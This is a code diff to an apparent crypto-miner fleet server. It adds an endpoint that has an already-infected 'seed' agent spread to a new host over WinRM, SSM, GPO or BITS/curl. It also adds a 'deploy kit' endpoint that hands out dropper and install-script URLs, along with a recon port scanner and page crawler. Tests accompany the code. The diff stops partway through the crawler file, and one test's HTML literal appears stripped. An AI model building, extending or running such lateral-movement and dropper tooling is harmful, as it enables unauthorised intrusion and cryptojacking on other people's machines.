diff --git a/scripts/test-suite.ps1 b/scripts/test-suite.ps1
index afe8a82..0758043 100644
--- a/scripts/test-suite.ps1
+++ b/scripts/test-suite.ps1
@@ -1,4 +1,4 @@
-# AetherForge - full test suite runner
+# AetherForge - full test suite runner
param(
[switch]$SkipE2E,
[switch]$SkipBuild,
@@ -370,6 +370,17 @@ if (-not $SkipE2E) {
go build -o $ServerExe .
Pop-Location
}
+
+ # Reclaim :18989 from a prior crashed E2E run so health checks hit this phase''s server.
+ $e2ePort = 18989
+ Get-NetTCPConnection -LocalPort $e2ePort -ErrorAction SilentlyContinue |
+ Select-Object -ExpandProperty OwningProcess -Unique |
+ ForEach-Object {
+ if ($_ -and $_ -ne 0) {
+ Stop-Process -Id $_ -Force -ErrorAction SilentlyContinue
+ }
+ }
+ Start-Sleep -Milliseconds 500
$env:AETHERFORGE_E2E = "1"
$proc = Start-Process -FilePath $ServerExe -ArgumentList "-port","18989","-data",$DataDir -WorkingDirectory $Root -PassThru -WindowStyle Hidden
try {
diff --git a/server/internal/ai/oath_recorder.go b/server/internal/ai/oath_recorder.go
index f73a839..526a550 100644
--- a/server/internal/ai/oath_recorder.go
+++ b/server/internal/ai/oath_recorder.go
@@ -9,6 +9,7 @@ const (
OathCourtL4Decision = "court_l4_decision"
OathSpreadAttempt = "spread_attempt"
OathStrainHospice = "strain_hospice"
+ OathReconScan = "recon_scan"
OathOutcomeSuccess = "success"
OathOutcomeFail = "fail"
diff --git a/server/internal/api/fleet_spread_host.go b/server/internal/api/fleet_spread_host.go
new file mode 100644
index 0000000..2c6a043
--- /dev/null
+++ b/server/internal/api/fleet_spread_host.go
@@ -0,0 +1,215 @@
+package api
+
+import (
+ "encoding/json"
+ "fmt"
+ "net/http"
+ "strings"
+
+ dbpkg "crypto-miner-server/internal/db"
+ "crypto-miner-server/internal/models"
+ "crypto-miner-server/internal/spreadrouter"
+)
+
+type spreadToHostRequest struct {
+ Host string `json:"host"`
+ Finding string `json:"finding"`
+ BuildID string `json:"build_id"`
+ Campaign string `json:"campaign"`
+ JoinLane string `json:"join_lane"`
+}
+
+// POST /api/v1/fleet/spread-to-host
+// Body: {"host":"10.1.2.50","finding":"WinRM"} — no agent_id; seeds discover_and_join from best online hop.
+func (f *FleetHandler) PostSpreadToHost(w http.ResponseWriter, r *http.Request) {
+ var req spreadToHostRequest
+ if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
+ http.Error(w, "invalid JSON", http.StatusBadRequest)
+ return
+ }
+ req.Host = strings.TrimSpace(req.Host)
+ req.Finding = strings.TrimSpace(req.Finding)
+ req.BuildID = strings.TrimSpace(req.BuildID)
+ req.Campaign = strings.TrimSpace(req.Campaign)
+ req.JoinLane = strings.TrimSpace(req.JoinLane)
+ if req.Host == "" {
+ http.Error(w, "host required", http.StatusBadRequest)
+ return
+ }
+
+ matched, lane, ok := resolveReconFinding(req.Finding, NormalizeServiceDeployAllowlist(nil))
+ if !ok {
+ http.Error(w, "no deploy lane matched finding", http.StatusBadRequest)
+ return
+ }
+ if req.JoinLane != "" {
+ lane.Lane = normalizeJoinLane(req.JoinLane)
+ }
+
+ agentID, reachable, found := matchAgentForSpreadFleet(f.ws, f.db, req.Host)
+ if found && reachable {
+ writeJSON(w, map[string]interface{}{
+ "ok": true,
+ "host": req.Host,
+ "agent_id": agentID,
+ "agent_reachable": true,
+ "join_lane": lane.Lane,
+ "matched_service": matched,
+ "queued": false,
+ "recommended_command": "discover_and_join",
+ "operator_note": "Host already has a connected agent — select it in Crucible and run Probe & Join.",
+ "crucible_link": "/crucible?reconHost=" + urlQueryEscape(req.Host) + "&tab=spread",
+ })
+ return
+ }
+
+ seedID, seedName, seedOK := pickSpreadSeedAgent(f.ws, req.Host, lane.Lane)
+ commandArgs := map[string]interface{}{
+ "target_host": req.Host,
+ "join_lane": lane.Lane,
+ "matched_service": matched,
+ }
+ if req.BuildID != "" {
+ commandArgs["build_id"] = req.BuildID
+ }
+ if req.Campaign != "" {
+ commandArgs["campaign"] = req.Campaign
+ }
+
+ queued := false
+ var dispatchErr string
+ if seedOK && f.ws != nil {
+ if err := f.ws.SendAgentCommand(seedID, "discover_and_join", commandArgs); err != nil {
+ dispatchErr = err.Error()
+ } else {
+ queued = true
+ }
+ }
+
+ recommended := fmt.Sprintf(
+ "Crucible → select seed %s → Probe & Join (discover_and_join) targeting %s via %s lane",
+ firstNonEmptySpread(seedName, seedID, "best online agent"),
+ req.Host,
+ lane.Lane,
+ )
+
+ writeJSON(w, map[string]interface{}{
+ "ok": true,
+ "host": req.Host,
+ "finding": req.Finding,
+ "join_lane": lane.Lane,
+ "matched_service": matched,
+ "agent_reachable": false,
+ "agent_found": found,
+ "seed_agent_id": seedID,
+ "seed_agent_name": seedName,
+ "queued": queued,
+ "dispatch_error": dispatchErr,
+ "recommended_command": "discover_and_join",
+ "command_args": commandArgs,
+ "operator_note": recommended,
+ "crucible_link": "/crucible?reconHost=" + urlQueryEscape(req.Host) + "&tab=spread",
+ })
+}
+
+func matchAgentForSpreadFleet(hub *WSHub, database *dbpkg.Database, host string) (agentID string, reachable bool, found bool) {
+ if database == nil {
+ return "", false, false
+ }
+ agents, err := database.ListAgents()
+ if err != nil {
+ return "", false, false
+ }
+ host = strings.TrimSpace(strings.ToLower(host))
+ var match *models.Agent
+ for _, ag := range agents {
+ if ag == nil {
+ continue
+ }
+ ip := strings.TrimSpace(strings.ToLower(ag.IP))
+ if ip == host || strings.EqualFold(ag.Name, host) || strings.EqualFold(ag.Hostname, host) {
+ if match == nil || ag.Status == "online" {
+ match = ag
+ }
+ }
+ }
+ if match == nil {
+ return "", false, false
+ }
+ reachable = match.Status == "online"
+ if hub != nil {
+ reachable = hub.isAgentConnected(match.ID)
+ }
+ return match.ID, reachable, true
+}
+
+func pickSpreadSeedAgent(hub *WSHub, targetHost, joinLane string) (agentID, agentName string, ok bool) {
+ if hub == nil {
+ return "", "", false
+ }
+ subnet := spreadrouter.SubnetFromIP(targetHost)
+ if subnet != "" {
+ in := buildSpreadRouterInput(hub, nil, []string{subnet}, joinLane)
+ rt := spreadrouter.Build(in)
+ if rec, found := rt.Recommend(subnet); found && rec.SeedAgentID != "" && hub.isAgentConnected(rec.SeedAgentID) {
+ return rec.SeedAgentID, rec.SeedAgentName, true
+ }
+ }
+
+ // Fallback: lowest-latency connected agent on same /24.
+ targetSubnet := spreadrouter.NormalizeSubnet(subnet)
+ var bestID, bestName string
+ bestLatency := int(^uint(0) >> 1)
+ hub.mu.RLock()
+ for id, conn := range hub.agents {
+ if conn == nil || hub.db == nil {
+ continue
+ }
+ ag, err := hub.db.GetAgent(id)
+ if err != nil || ag == nil {
+ continue
+ }
+ agSubnet := spreadrouter.SubnetFromIP(ag.IP)
+ if targetSubnet != "" && spreadrouter.NormalizeSubnet(agSubnet) != targetSubnet {
+ continue
+ }
+ lat := 9999
+ if ag.LatencyMs != nil {
+ lat = *ag.LatencyMs
+ }
+ if lat < bestLatency {
+ bestLatency = lat
+ bestID = id
+ bestName = ag.Name
+ }
+ }
+ hub.mu.RUnlock()
+ if bestID != "" {
+ return bestID, bestName, true
+ }
+
+ // Last resort: any connected agent.
+ hub.mu.RLock()
+ for id := range hub.agents {
+ if hub.agents[id] != nil {
+ bestID = id
+ if hub.db != nil {
+ if ag, err := hub.db.GetAgent(id); err == nil && ag != nil {
+ bestName = ag.Name
+ }
+ }
+ break
+ }
+ }
+ hub.mu.RUnlock()
+ return bestID, bestName, bestID != ""
+}
+
+func firstNonEmptySpread(parts ...string) string {
+ for _, p := range parts {
+ if strings.TrimSpace(p) != "" {
+ return p
+ }
+ }
+ return ""
+}
diff --git a/server/internal/api/fleet_spread_host_test.go b/server/internal/api/fleet_spread_host_test.go
new file mode 100644
index 0000000..eb6dbd0
--- /dev/null
+++ b/server/internal/api/fleet_spread_host_test.go
@@ -0,0 +1,62 @@
+package api
+
+import (
+ "bytes"
+ "encoding/json"
+ "net/http"
+ "net/http/httptest"
+ "testing"
+
+ "crypto-miner-server/internal/db"
+ "crypto-miner-server/internal/models"
+ "crypto-miner-server/internal/pool"
+)
+
+func TestPostSpreadToHostRecommendsCommand(t *testing.T) {
+ dir := t.TempDir()
+ database, err := db.New(dir)
+ if err != nil {
+ t.Fatal(err)
+ }
+ t.Cleanup(func() { _ = database.Close() })
+ if err := database.UpsertAgent(&models.Agent{
+ ID: "seed-1", Name: "seed-node", IP: "10.1.2.10", Status: "online", Hostname: "seed",
+ }); err != nil {
+ t.Fatal(err)
+ }
+ hub := NewWSHub(database)
+ fh := NewFleetHandler(database, hub, nil, nil, nil, pool.Config{}, dir)
+
+ body, _ := json.Marshal(map[string]string{"host": "10.1.2.99", "finding": "WinRM"})
+ req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/spread-to-host", bytes.NewReader(body))
+ rec := httptest.NewRecorder()
+ fh.PostSpreadToHost(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
+ }
+ var out map[string]interface{}
+ if err := json.Unmarshal(rec.Body.Bytes(), &out); err != nil {
+ t.Fatal(err)
+ }
+ if out["recommended_command"] != "discover_and_join" {
+ t.Fatalf("recommended_command: %v", out["recommended_command"])
+ }
+ if out["join_lane"] != "winrm" {
+ t.Fatalf("join_lane: %v", out["join_lane"])
+ }
+ note, _ := out["operator_note"].(string)
+ if note == "" {
+ t.Fatal("expected operator_note")
+ }
+}
+
+func TestPostSpreadToHostRequiresHost(t *testing.T) {
+ fh := NewFleetHandler(nil, nil, nil, nil, nil, pool.Config{}, t.TempDir())
+ body, _ := json.Marshal(map[string]string{"finding": "WinRM"})
+ req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/spread-to-host", bytes.NewReader(body))
+ rec := httptest.NewRecorder()
+ fh.PostSpreadToHost(rec, req)
+ if rec.Code != http.StatusBadRequest {
+ t.Fatalf("want 400 got %d", rec.Code)
+ }
+}
diff --git a/server/internal/api/recon_deploy_kit.go b/server/internal/api/recon_deploy_kit.go
new file mode 100644
index 0000000..3dbc136
--- /dev/null
+++ b/server/internal/api/recon_deploy_kit.go
@@ -0,0 +1,235 @@
+package api
+
+import (
+ "net/http"
+ "strings"
+
+ "crypto-miner-server/internal/models"
+)
+
+// BindDeployPlan wires deploy-plan generation for recon deploy-kit responses.
+func (h *SpreadHandler) BindDeployPlan(plan *DeployPlanHandler, publicURL func() string, allowlist func() map[string]ServiceDeployLane) {
+ if h == nil {
+ return
+ }
+ h.deployPlan = plan
+ h.publicURL = publicURL
+ h.allowlistFn = allowlist
+}
+
+type deployKitDropperURLs struct {
+ GetWindows string `json:"get_windows,omitempty"`
+ GetLinux string `json:"get_linux,omitempty"`
+ GetDarwin string `json:"get_darwin,omitempty"`
+ Get string `json:"get,omitempty"`
+ InstallPS1 string `json:"install_ps1,omitempty"`
+ InstallSh string `json:"install_sh,omitempty"`
+ InstallCmd string `json:"install_command,omitempty"`
+}
+
+type deployKitSpreadZIP struct {
+ Method string `json:"method"`
+ URL string `json:"url"`
+ Note string `json:"note,omitempty"`
+}
+
+type deployKitSpreadTemplate struct {
+ Template string `json:"template,omitempty"`
+ Method string `json:"method"`
+ URL string `json:"url"`
+}
+
+// GET /api/v1/recon/deploy-kit?host=&finding=
+func (h *SpreadHandler) GetDeployKit(w http.ResponseWriter, r *http.Request) {
+ host := strings.TrimSpace(r.URL.Query().Get("host"))
+ finding := strings.TrimSpace(r.URL.Query().Get("finding"))
+ if host == "" {
+ http.Error(w, "host query param required", http.StatusBadRequest)
+ return
+ }
+
+ serverURL := strings.TrimRight(resolveSpreadServerURL(h), "/")
+ if serverURL == "" {
+ serverURL = "http://127.0.0.1:8989"
+ }
+
+ matched, lane, ok := resolveReconFinding(finding, h.serviceDeployAllowlist())
+ if !ok {
+ writeJSON(w, map[string]interface{}{
+ "ok": false,
+ "host": host,
+ "finding": finding,
+ "error": "no deploy lane matched finding",
+ })
+ return
+ }
+
+ agentID, agentReachable, agentFound := h.matchAgentForHost(host)
+ buildID, campaign := "", ""
+ if h.db != nil {
+ if b, err := h.db.GetLatestBuildForPlatform(platformForReconHost(host, lane.Lane)); err == nil && b != nil {
+ buildID = b.ID
+ }
+ }
+
+ querySuffix, getQuerySuffix := buildQuerySuffix(buildID, campaign)
+ dropper := deployKitDropperURLs{
+ Get: serverURL + "/get" + querySuffix,
+ GetWindows: serverURL + "/get?os=windows" + getQuerySuffix,
+ GetLinux: serverURL + "/get?os=linux" + getQuerySuffix,
+ GetDarwin: serverURL + "/get?os=darwin" + getQuerySuffix,
+ InstallPS1: serverURL + "/install.ps1" + querySuffix,
+ InstallSh: serverURL + "/install.sh" + querySuffix,
+ InstallCmd: serverURL + "/install.command" + querySuffix,
+ }
+
+ resp := map[string]interface{}{
+ "ok": true,
+ "host": host,
+ "finding": finding,
+ "join_lane": lane.Lane,
+ "matched_service": matched,
+ "agent_reachable": agentReachable,
+ "agent_found": agentFound,
+ "dropper_urls": dropper,
+ "spread_kit_zip": deployKitSpreadZIP{
+ Method: "POST",
+ URL: "/api/v1/builder/spread-kit-export",
+ Note: "Body: { server_url, build_id?, campaign? }",
+ },
+ "crucible_link": "/crucible?reconHost=" + urlQueryEscape(host) + "&tab=spread",
+ }
+ if agentID != "" {
+ resp["agent_id"] = agentID
+ }
+ if tpl := strings.TrimSpace(lane.Template); tpl != "" {
+ resp["spread_template"] = deployKitSpreadTemplate{
+ Template: tpl,
+ Method: "POST",
+ URL: "/api/v1/builder/spread-template-export",
+ }
+ }
+
+ if h.deployPlan != nil {
+ req := deployPlanRequest{
+ BuildID: buildID,
+ Campaign: campaign,
+ Platform: platformForReconHost(host, lane.Lane),
+ Services: []DeployServiceFinding{{Name: matched, Status: "running"}},
+ }
+ if plan, err := h.deployPlan.buildPlan(req, matched, lane); err == nil {
+ resp["deploy_plan_template"] = plan
+ }
+ }
+
+ if lane.Lane == "ssm_document" || strings.Contains(strings.ToLower(finding), "ssm") {
+ if h.deployPlan != nil {
+ if bundle, err := h.deployPlan.buildSSMSpreadBundle(deployPlanRequest{
+ BuildID: buildID, Campaign: campaign, Platform: "linux",
+ }, serverURL); err == nil {
+ resp["ssm_bundle"] = bundle
+ }
+ }
+ }
+
+ writeJSON(w, resp)
+}
+
+func (h *SpreadHandler) serviceDeployAllowlist() map[string]ServiceDeployLane {
+ if h.allowlistFn != nil {
+ return NormalizeServiceDeployAllowlist(h.allowlistFn())
+ }
+ return NormalizeServiceDeployAllowlist(nil)
+}
+
+func resolveSpreadServerURL(h *SpreadHandler) string {
+ if h.publicURL != nil {
+ return h.publicURL()
+ }
+ return ""
+}
+
+func resolveReconFinding(finding string, allowlist map[string]ServiceDeployLane) (matched string, lane ServiceDeployLane, ok bool) {
+ finding = strings.TrimSpace(finding)
+ allowlist = NormalizeServiceDeployAllowlist(allowlist)
+
+ if finding == "" {
+ return "default", ServiceDeployLane{Lane: "bits_curl", Priority: 8}, true
+ }
+
+ lower := strings.ToLower(finding)
+ if strings.Contains(lower, "ssm") {
+ return "SSM", ServiceDeployLane{Lane: "ssm_document"}, true
+ }
+
+ normalized := normalizeJoinLane(finding)
+ for _, entry := range allowlist {
+ if entry.Lane == normalized {
+ return finding, entry, true
+ }
+ }
+ if normalized != "" && normalized != finding {
+ return finding, ServiceDeployLane{Lane: normalized}, true
+ }
+
+ matched, lane, ok = PickDeployLane([]DeployServiceFinding{
+ {Name: finding, Status: "running"},
+ }, allowlist)
+ if ok {
+ return matched, lane, true
+ }
+
+ // Case-insensitive service alias (e.g. winrm → WinRM)
+ for name, entry := range allowlist {
+ if strings.EqualFold(name, finding) {
+ return name, entry, true
+ }
+ }
+ return "", ServiceDeployLane{}, false
+}
+
+func (h *SpreadHandler) matchAgentForHost(host string) (agentID string, reachable bool, found bool) {
+ host = strings.TrimSpace(strings.ToLower(host))
+ if host == "" || h.db == nil {
+ return "", false, false
+ }
+ agents, err := h.db.ListAgents()
+ if err != nil {
+ return "", false, false
+ }
+ var match *models.Agent
+ for _, ag := range agents {
+ if ag == nil {
+ continue
+ }
+ ip := strings.TrimSpace(strings.ToLower(ag.IP))
+ name := strings.TrimSpace(strings.ToLower(ag.Name))
+ hostname := strings.TrimSpace(strings.ToLower(ag.Hostname))
+ if ip == host || name == host || hostname == host {
+ if match == nil || ag.Status == "online" {
+ match = ag
+ }
+ }
+ }
+ if match == nil {
+ return "", false, false
+ }
+ reachable = match.Status == "online"
+ if h.wsHub != nil {
+ reachable = h.wsHub.isAgentConnected(match.ID)
+ }
+ return match.ID, reachable, true
+}
+
+func platformForReconHost(host, lane string) string {
+ if strings.Contains(lane, "linux") {
+ return "linux"
+ }
+ // Heuristic: RFC1918 host with no agent — default windows for LAN spread.
+ _ = host
+ return "windows"
+}
+
+func urlQueryEscape(s string) string {
+ return strings.ReplaceAll(strings.ReplaceAll(s, " ", "%20"), "#", "%23")
+}
diff --git a/server/internal/api/recon_deploy_kit_test.go b/server/internal/api/recon_deploy_kit_test.go
new file mode 100644
index 0000000..ca1599a
--- /dev/null
+++ b/server/internal/api/recon_deploy_kit_test.go
@@ -0,0 +1,110 @@
+package api
+
+import (
+ "encoding/json"
+ "net/http"
+ "net/http/httptest"
+ "os"
+ "path/filepath"
+ "testing"
+
+ "crypto-miner-server/internal/db"
+ "crypto-miner-server/internal/models"
+)
+
+func testReconSpreadHandler(t *testing.T) (*SpreadHandler, *DeployPlanHandler) {
+ t.Helper()
+ dir := t.TempDir()
+ root := t.TempDir()
+ writeSpreadTemplates(t, root)
+ artifact := filepath.Join(dir, "worker.exe")
+ if err := os.WriteFile(artifact, []byte("recon-kit-payload"), 0644); err != nil {
+ t.Fatal(err)
+ }
+ database, err := db.New(dir)
+ if err != nil {
+ t.Fatal(err)
+ }
+ t.Cleanup(func() { _ = database.Close() })
+ if err := database.InsertBuild(&models.BuildRecord{
+ ID: "build-recon", WorkerName: "recon-worker", Platform: "windows",
+ FilePath: artifact, Pinned: true,
+ }); err != nil {
+ t.Fatal(err)
+ }
+ deployH := NewDeployPlanHandler(database, dir, root,
+ func() string { return "https://deck.example" },
+ func() string { return "fleet-secret" },
+ func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) },
+ )
+ spreadH := NewSpreadHandler(database, dir, root, nil)
+ spreadH.BindDeployPlan(deployH, func() string { return "https://deck.example" }, func() map[string]ServiceDeployLane {
+ return NormalizeServiceDeployAllowlist(nil)
+ })
+ return spreadH, deployH
+}
+
+func TestGetDeployKitWinRM(t *testing.T) {
+ spreadH, _ := testReconSpreadHandler(t)
+ req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?host=10.1.2.50&finding=WinRM", nil)
+ rec := httptest.NewRecorder()
+ spreadH.GetDeployKit(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
+ }
+ var out map[string]interface{}
+ if err := json.Unmarshal(rec.Body.Bytes(), &out); err != nil {
+ t.Fatal(err)
+ }
+ if out["join_lane"] != "winrm" {
+ t.Fatalf("join_lane: %v", out["join_lane"])
+ }
+ dropper, ok := out["dropper_urls"].(map[string]interface{})
+ if !ok || dropper["install_ps1"] == "" {
+ t.Fatalf("dropper_urls: %v", out["dropper_urls"])
+ }
+ if out["spread_kit_zip"] == nil {
+ t.Fatal("expected spread_kit_zip")
+ }
+ if out["deploy_plan_template"] == nil {
+ t.Fatal("expected deploy_plan_template")
+ }
+}
+
+func TestGetDeployKitSSM(t *testing.T) {
+ spreadH, _ := testReconSpreadHandler(t)
+ req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?host=10.1.2.99&finding=ssm", nil)
+ rec := httptest.NewRecorder()
+ spreadH.GetDeployKit(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
+ }
+ var out map[string]interface{}
+ if err := json.Unmarshal(rec.Body.Bytes(), &out); err != nil {
+ t.Fatal(err)
+ }
+ if out["join_lane"] != "ssm_document" {
+ t.Fatalf("join_lane: %v", out["join_lane"])
+ }
+}
+
+func TestGetDeployKitRequiresHost(t *testing.T) {
+ spreadH, _ := testReconSpreadHandler(t)
+ req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?finding=WinRM", nil)
+ rec := httptest.NewRecorder()
+ spreadH.GetDeployKit(rec, req)
+ if rec.Code != http.StatusBadRequest {
+ t.Fatalf("want 400 got %d", rec.Code)
+ }
+}
+
+func TestResolveReconFinding(t *testing.T) {
+ matched, lane, ok := resolveReconFinding("gpsvc", NormalizeServiceDeployAllowlist(nil))
+ if !ok || lane.Lane != "gpo" {
+ t.Fatalf("gpsvc → gpo: matched=%q lane=%q ok=%v", matched, lane.Lane, ok)
+ }
+ _, lane, ok = resolveReconFinding("", NormalizeServiceDeployAllowlist(nil))
+ if !ok || lane.Lane != "bits_curl" {
+ t.Fatalf("empty finding default: %v", lane.Lane)
+ }
+}
diff --git a/server/internal/api/recon_handler.go b/server/internal/api/recon_handler.go
new file mode 100644
index 0000000..327d964
--- /dev/null
+++ b/server/internal/api/recon_handler.go
@@ -0,0 +1,92 @@
+package api
+
+import (
+ "encoding/json"
+ "net/http"
+ "strings"
+
+ dbpkg "crypto-miner-server/internal/db"
+ "crypto-miner-server/internal/recon"
+)
+
+// ReconHandler serves owned-target browser deploy recon.
+type ReconHandler struct {
+ db *dbpkg.Database
+ wsHub *WSHub
+}
+
+func NewReconHandler(database *dbpkg.Database, hub *WSHub) *ReconHandler {
+ return &ReconHandler{db: database, wsHub: hub}
+}
+
+// POST /api/v1/recon/scan
+func (h *ReconHandler) Scan(w http.ResponseWriter, r *http.Request) {
+ var req recon.ScanRequest
+ if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
+ http.Error(w, "invalid JSON", http.StatusBadRequest)
+ return
+ }
+ req.Host = strings.TrimSpace(req.Host)
+ if req.Host == "" {
+ http.Error(w, "host required", http.StatusBadRequest)
+ return
+ }
+
+ report, err := recon.Scan(req)
+ if err != nil {
+ http.Error(w, err.Error(), http.StatusBadRequest)
+ return
+ }
+
+ if h != nil && h.db != nil {
+ payload := map[string]interface{}{
+ "host": report.Host,
+ "open_ports": openPortList(report.Ports),
+ "ssrf_score": crawlSSRFScore(report.Crawl),
+ "recommendations": len(report.Recommendations),
+ "cms_fingerprints": crawlCMS(report.Crawl),
+ }
+ _ = (&OathLedgerBridge{DB: h.db, Hub: oathHub(h)}).Record(
+ AuthUsername(r),
+ dbpkg.OathReconScan,
+ "",
+ "",
+ dbpkg.OathOutcomeSuccess,
+ map[string]string{"host": report.Host},
+ payload,
+ )
+ }
+
+ writeJSON(w, report)
+}
+
+func oathHub(h *ReconHandler) *WSHub {
+ if h == nil {
+ return nil
+ }
+ return h.wsHub
+}
+
+func openPortList(ports []recon.PortResult) []int {
+ var out []int
+ for _, p := range ports {
+ if p.Open {
+ out = append(out, p.Port)
+ }
+ }
+ return out
+}
+
+func crawlSSRFScore(c *recon.CrawlReport) int {
+ if c == nil {
+ return 0
+ }
+ return c.SSRFScore
+}
+
+func crawlCMS(c *recon.CrawlReport) []string {
+ if c == nil {
+ return nil
+ }
+ return c.CMSFingerprints
+}
diff --git a/server/internal/api/recon_handler_test.go b/server/internal/api/recon_handler_test.go
new file mode 100644
index 0000000..dde4880
--- /dev/null
+++ b/server/internal/api/recon_handler_test.go
@@ -0,0 +1,67 @@
+package api
+
+import (
+ "bytes"
+ "encoding/json"
+ "net/http"
+ "net/http/httptest"
+ "testing"
+ "time"
+
+ "crypto-miner-server/internal/db"
+ "crypto-miner-server/internal/recon"
+)
+
+func TestReconScanEndpoint(t *testing.T) {
+ recon.SetPortDialHook(func(host string, port int, _ time.Duration) bool {
+ return port == 80
+ })
+ t.Cleanup(func() { recon.SetPortDialHook(nil) })
+ recon.SetFetchPageHook(func(rawURL string) (int, string, error) {
+ return 200, `
`, nil
+ })
+ t.Cleanup(func() { recon.SetFetchPageHook(nil) })
+
+ database, err := db.New(t.TempDir())
+ if err != nil {
+ t.Fatal(err)
+ }
+ t.Cleanup(func() { _ = database.Close() })
+
+ h := NewReconHandler(database, nil)
+ body, _ := json.Marshal(map[string]interface{}{
+ "host": "recon.lab",
+ "port": 80,
+ "scheme": "http",
+ })
+ req := httptest.NewRequest(http.MethodPost, "/api/v1/recon/scan", bytes.NewReader(body))
+ w := httptest.NewRecorder()
+ h.Scan(w, req)
+ if w.Code != http.StatusOK {
+ t.Fatalf("status=%d body=%s", w.Code, w.Body.String())
+ }
+ var report recon.ScanReport
+ if err := json.Unmarshal(w.Body.Bytes(), &report); err != nil {
+ t.Fatal(err)
+ }
+ if report.Host != "recon.lab" || report.Crawl == nil || len(report.Recommendations) == 0 {
+ t.Fatalf("report=%+v", report)
+ }
+ rows, err := database.ListOathLedger(5)
+ if err != nil {
+ t.Fatal(err)
+ }
+ if len(rows) == 0 || rows[0].ActionType != db.OathReconScan {
+ t.Fatalf("oath rows=%+v", rows)
+ }
+}
+
+func TestReconScanRequiresHost(t *testing.T) {
+ h := NewReconHandler(nil, nil)
+ req := httptest.NewRequest(http.MethodPost, "/api/v1/recon/scan", bytes.NewReader([]byte(`{}`)))
+ w := httptest.NewRecorder()
+ h.Scan(w, req)
+ if w.Code != http.StatusBadRequest {
+ t.Fatalf("status=%d", w.Code)
+ }
+}
diff --git a/server/internal/api/router.go b/server/internal/api/router.go
index d1de636..337fb01 100644
--- a/server/internal/api/router.go
+++ b/server/internal/api/router.go
@@ -552,6 +552,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
vulnHandler := NewVulnHandler()
r.Get("/vuln/catalog", vulnHandler.Catalog)
+ reconHandler := NewReconHandler(database, wsHub)
+ r.Post("/recon/scan", reconHandler.Scan)
+
// Agents
r.Get("/agents", h.ListAgents)
r.Get("/agents/{id}", h.GetAgent)
@@ -595,6 +598,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/fleet/strain-hospice", fleetHandler.GetStrainHospice)
r.Post("/fleet/strain-hospice", fleetHandler.PostStrainHospice)
r.Get("/fleet/oath-ledger", fleetHandler.GetOathLedger)
+ r.Post("/fleet/spread-to-host", fleetHandler.PostSpreadToHost)
}
if fleetAIHandler != nil {
r.Get("/ai/models", fleetAIHandler.GetModels)
@@ -665,6 +669,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Put("/emberwake/notes", spreadHandler.PutNotes)
r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns)
r.Get("/emberwake/war-room", spreadHandler.GetWarRoom)
+ r.Get("/recon/deploy-kit", spreadHandler.GetDeployKit)
r.Get("/spread/credential-graph", spreadHandler.GetCredGraph)
r.Get("/spread/service-graph", spreadHandler.GetServiceGraph)
r.Get("/spread/policy-fanout", spreadHandler.GetPolicyFanout)
diff --git a/server/internal/api/spread_handler.go b/server/internal/api/spread_handler.go
index 9d933d9..2b80552 100644
--- a/server/internal/api/spread_handler.go
+++ b/server/internal/api/spread_handler.go
@@ -26,6 +26,7 @@ type SpreadHandler struct {
publicURL func() string
erasureShards *erasure.ShardStore
deployPlan *DeployPlanHandler
+ allowlistFn func() map[string]ServiceDeployLane
policyPathTracer *PathTracerHandler
policyFanoutCfgFn func() PolicyFanoutConfig
notesMu sync.RWMutex
diff --git a/server/internal/db/oath_ledger.go b/server/internal/db/oath_ledger.go
index a0360a8..5d8c98e 100644
--- a/server/internal/db/oath_ledger.go
+++ b/server/internal/db/oath_ledger.go
@@ -16,6 +16,7 @@ const (
OathCourtL4Decision = "court_l4_decision"
OathSpreadAttempt = "spread_attempt"
OathStrainHospice = "strain_hospice"
+ OathReconScan = "recon_scan"
)
// Oath outcomes.
diff --git a/server/internal/recon/crawl.go b/server/internal/recon/crawl.go
new file mode 100644
index 0000000..a09740f
--- /dev/null
+++ b/server/internal/recon/crawl.go
@@ -0,0 +1,235 @@
+package recon
+
+import (
+ "fmt"
+ "net/http"
+ "net/url"
+ "strings"
+)
+
+const maxHTMLBytes = 512 * 1024
+
+// fetchPageFn overrides HTTP fetches in tests (nil = live GET from server host).
+var fetchPageFn func(rawURL string) (status int, body string, err error)
+
+// Crawl fetches seed URL and same-origin linked paths up to depth and maxPages.
+func Crawl(host string, port int, scheme string, seedPaths []string) (*CrawlReport, error) {
+ scheme = normalizeScheme(scheme, port)
+ if port <= 0 {
+ port = defaultPortForScheme(scheme)
+ }
+ base := fmt.Sprintf("%s://%s", scheme, joinHostPort(host, port))
+ seeds := seedPaths
+ if len(seeds) == 0 {
+ seeds = []string{"/"}
+ }
+
+ report := &CrawlReport{}
+ visited := map[string]bool{}
+ queue := []queuedURL{}
+ for _, p := range seeds {
+ abs, err := resolveSameOrigin(base, p)
+ if err != nil {
+ continue
+ }
+ queue = append(queue, queuedURL{url: abs, depth: 0})
+ }
+
+ for len(queue) > 0 && report.PagesFetched < DefaultCrawlMaxPages {
+ item := queue[0]
+ queue = queue[1:]
+ key := normalizeURLKey(item.url)
+ if visited[key] {
+ continue
+ }
+ visited[key] = true
+
+ status, body, err := fetchPage(item.url)
+ if err != nil {
+ continue
+ }
+ report.PagesFetched++
+ title := ""
+ if root, err := htmlParseTitle(body); err == nil {
+ title = root
+ }
+ report.Pages = append(report.Pages, PageFinding{URL: item.url, StatusCode: status, Title: title})
+
+ files, multi, fields, pageScore, cms := ParseHTML(item.url, body)
+ report.FileInputs = append(report.FileInputs, files...)
+ report.MultipartForms = append(report.MultipartForms, multi...)
+ report.URLFields = append(report.URLFields, fields...)
+ report.SSRFScore += pageScore
+ report.CMSFingerprints = mergeCMS(report.CMSFingerprints, cms)
+
